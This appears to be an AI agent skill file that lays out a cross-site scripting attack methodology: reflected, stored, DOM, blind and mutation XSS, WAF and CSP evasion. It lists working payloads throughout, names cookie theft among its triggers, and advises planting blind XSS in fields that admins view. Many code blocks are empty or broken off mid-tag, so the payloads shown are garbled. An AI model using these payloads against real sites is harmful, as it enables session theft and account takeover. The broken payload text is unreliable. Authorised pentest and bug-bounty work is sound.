--- name: xss-hunter description: Complete XSS testing methodology reflected, stored, DOM-based, blind, and mutation XSS, CSP bypass, DOM clobbering, filter/WAF evasion, and impact escalation. Trigger when the user asks to test for XSS or cross-site scripting (reflected, stored, DOM-based, blind, mutation), wants to bypass XSS filters/WAF rules/CSP, identifies a reflection point and needs the right payload, pastes HTML/JS that reflects user input, asks if they can steal cookies or test inputs for injection, needs to demonstrate XSS impact, or is writing a pentest finding needing evidence or remediation. license: MIT metadata: version: "0.0.1" author: Rifteo tags: ["pentest", "xss", "web", "csp-bypass", "dom-clobbering", "waf-evasion", "bug-bounty"] --- # XSS Attack Methodology XSS occurs when user-controlled input is rendered in a browser without proper sanitization or encoding, allowing arbitrary JavaScript execution in the victim's context. **Before testing anything — understand the injection context:** The payload you need depends entirely on *where* your input lands in the page source. Always view source or open DevTools after injecting a canary string (`xsstest123`) to locate where it appears. ``` HTML body:

xsstest123

→ User-Agent: X-Forwarded-For: X-Original-URL: /"> ``` ### 1.4 JSON / API Responses rendered in UI - API response fields that get injected into the DOM via `innerHTML` - Username, display name, bio, address fields stored in API and rendered later ### 1.5 File Uploads - Upload an SVG with embedded JS: `` - Upload HTML file if allowed - Filename itself: `">.png` ### 1.6 DOM Sources (for DOM XSS) ```javascript // Sources — user-controlled entry points into JS location.href / location.search / location.hash document.referrer document.URL window.name postMessage data localStorage / sessionStorage (if populated from URL) ``` --- ## Attack 1 — Reflected XSS **What:** Input is reflected in the HTTP response immediately without being stored. **Step 1 — Inject a canary to locate reflection:** ``` GET /search?q=xsstest123 ``` View source → find `xsstest123` → note the surrounding context. **Step 2 — Choose payload for context:** ```html
" onmouseover="alert(document.domain) " autofocus onfocus="alert(document.domain) "> ";alert(document.domain)// '-alert(document.domain)-' \';alert(document.domain)// ${alert(document.domain)} javascript:alert(document.domain) data:text/html, ``` **Step 3 — Confirm:** observe alert box with `document.domain`. Always use `document.domain` (not `1`) to prove the execution origin. --- ## Attack 2 — Stored XSS **What:** Input is saved server-side and rendered to other users — higher impact than reflected. **High-value injection points:** - Comment/review fields - Profile fields (name, bio, address, job title) - Chat / messaging features - Support ticket subject/body - Product/listing names and descriptions - Notification text - File/folder names in cloud storage UIs **Testing approach:** 1. Inject a payload in the field and save 2. View the page as a *different user* (or in a fresh session) 3. If payload executes — confirm stored XSS **Persistent payload (survives page reload):** ```html ``` **Check all consumers:** a stored payload in a profile field may execute on: - `/profile/alice` (public) - `/admin/users/alice` (admin panel) ← highest impact - Email notifications (if HTML email) - API response consumed by another frontend --- ## Attack 3 — DOM-Based XSS **What:** The server response is safe, but client-side JavaScript reads from a source and writes to a dangerous sink without sanitization. **Common dangerous sinks:** ```javascript element.innerHTML = userInput; // most common element.outerHTML = userInput; document.write(userInput); document.writeln(userInput); element.insertAdjacentHTML('...', userInput); eval(userInput); setTimeout(userInput, 0); setInterval(userInput, 0); new Function(userInput)(); location.href = userInput; // XSS via javascript: location.assign(userInput); location.replace(userInput); element.src = userInput; element.setAttribute('href', userInput); jQuery(userInput); // jQuery XSS $.parseHTML(userInput); ``` **Testing approach:** 1. Find parameters that appear in client-side JS (hash, search, name) 2. Inject into URL hash/fragment (not sent to server, bypasses server WAF): ``` https://target.com/page# https://target.com/page?returnUrl=javascript:alert(1) ``` 3. Search JS files for dangerous sinks and trace data flow back to sources **Hunt for DOM XSS in JS files:** ```bash # Find innerHTML/eval usage in JS bundles curl -s https://target.com/app.js | grep -E "innerHTML|outerHTML|document\.write|eval\(|setTimeout\(|location\.href" # Use Burp DOM Invader (embedded browser extension) # Use dalfox with --deep-domxss flag dalfox url "https://target.com/search?q=test" --deep-domxss ``` --- ## Attack 4 — Blind XSS **What:** The XSS fires in a context you cannot directly observe — admin panel, internal dashboard, log viewer, support ticket system, PDF renderer, email client. **Strategy:** use an out-of-band callback payload that phones home when it executes. **Payload with full context capture:** ```javascript // Self-contained OOB payload — captures URL, cookies, DOM, IP ``` **Compact versions for length-limited fields:** ```html ``` **Tools for blind XSS:** - **XSS Hunter** (xsshunter.trufflesecurity.com) — generates unique payloads per target, captures full page screenshot + DOM + cookies when fired - **Burp Collaborator** — simple OOB DNS/HTTP callback - **interactsh** — open-source OOB server: `interactsh-client` generates a unique URL **Where to inject blind XSS:** - Support ticket / bug report forms - Feedback widgets - User-agent or X-Forwarded-For headers (logged in dashboards) - Order notes / shipping address (rendered in admin order view) - Username (may appear in audit logs or admin user list) --- ## Attack 5 — Filter & WAF Evasion When basic payloads are blocked, work through these techniques systematically. ### 5.1 Case Variation ```html ``` ### 5.2 Tag Alternatives (when `\x3csVg/\x3e // Gareth Heyes polyglot jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a// // Short universal polyglot ">'> ``` ### 5.6 WAF-Specific Bypasses ```bash # Cloudflare — use less common tags + encoding click # ModSecurity — split across parameters (HPP) GET /search?q=alert(1) # Filter that strips
{{constructor.constructor('alert(1)')()}}
``` ### 6.3 `script-src-elem` vs `script-src` mismatch Some browsers fall back differently — try `"> ``` ### 6.6 Nonce/hash leak If `script-src 'nonce-abc123'` is used: - Check if the nonce is static (doesn't change per request) - Check if nonce is reflected elsewhere in the page - Check if nonce is predictable --- ## Attack 7 — Mutation XSS (mXSS) **What:** The browser's HTML parser mutates apparently safe markup into something executable when assigned via `innerHTML`. **Classic mXSS payload:** ```html